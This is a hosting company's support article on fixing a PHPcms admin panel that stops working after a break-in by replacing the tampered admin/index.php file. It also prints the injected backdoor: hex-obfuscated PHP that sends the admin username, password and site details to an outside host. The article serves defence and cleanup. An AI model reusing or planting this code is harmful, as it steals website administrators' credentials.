新闻中心

PHPcms被入侵导致网站后台无法登陆的解决方法

作者 / 无忧主机 时间 2018-07-10 11:15:25

phpcms程序比非常内容的DeDecms来说用户方面少很多,操作方面相对来说还是DeDeCMS更容易得到用户的认可。当然什么程序都能得到用户青睐,asp虚拟主机、php虚拟主机、只要稳定速度快就是用户心中的好主机。本节无忧主机小编将给大家介绍一下,PHPcms入侵导致网站后台无法登陆的解决方法 PHPcms入侵导致网站后台无法登陆的解决方法如下: 1、首先是点击进入到我们的控制面板,然后找到文件管理选项,如图所示: 1 2、点击进入之后找到我们站点的根目录,如图所示: 2 3、进入到这个目录之后找到我们的程序的路径: 目录/phpcms/modules/admin/index.php文件,如图所示: 3 最后一步,本地电脑下载好同版本同编码格式的phpcms,找到以上文件,上传覆盖即可 4、另外无忧主机小编分享一些入侵后篡改的一些攻击代码:

$sqlhost = "\x77\x77\x77\x2e\x74\x68\x69\x73\x64\x6f\x6f\x72\x2e\x63\x6f\x6d";

$sqlself = "\x2f\x69\x6e\x2f\x61\x70\x69\x2e\x70\x68\x70";

$sqlself .= "\x3f\x76\x61\x72\x3d\x64\x65\x64\x65\x26\x64\x61\x74\x61\x3d";

$sqlself .= bin2hex($_SERVER["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"]).'|'.bin2hex($_SERVER["\x50\x48\x50\x5f\x53\x45\x4c\x46"]).'|';

$sqlself .= bin2hex($username).'|'.bin2hex($userpwd);

$sqlport = hexdec(50);

if(function_exists("\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e")) {

$sqlfp = @fsockopen ($sqlhost, $sqlport);

@fputs ($sqlfp, "\x47\x45\x54\x20".$sqlself."\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\r\n\x48\x6f\x73\x74\x3a".$sqlhost."\r\n\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x43\x6c\x6f\x73\x65\r\n\r\n");

@fclose ($sqlfp);

} else {

$context = array("\x68\x74\x74\x70" => array("\x6d\x65\x74\x68\x6f\x64" => "\x47\x45\x54","\x74\x69\x6d\x65\x6f\x75\x74" => 5));

if(function_exists('stream_context_create')) { $stream = @stream_context_create ($context); }

@file_get_contents ("\x68\x74\x74\x70\x3a\x2f\x2f".$sqlhost."\x3a".$sqlport.$sqlself, false, $stream);

}
以上就是无忧主机独立IP空间环境下PHPcms被入侵导致网站后台无法登陆的解决方法。  

本文地址:https://www.51php.com/phpcms/27068.html

1
1
1
1
1
1
1

客户服务热线

0791-8623-3537

在线客服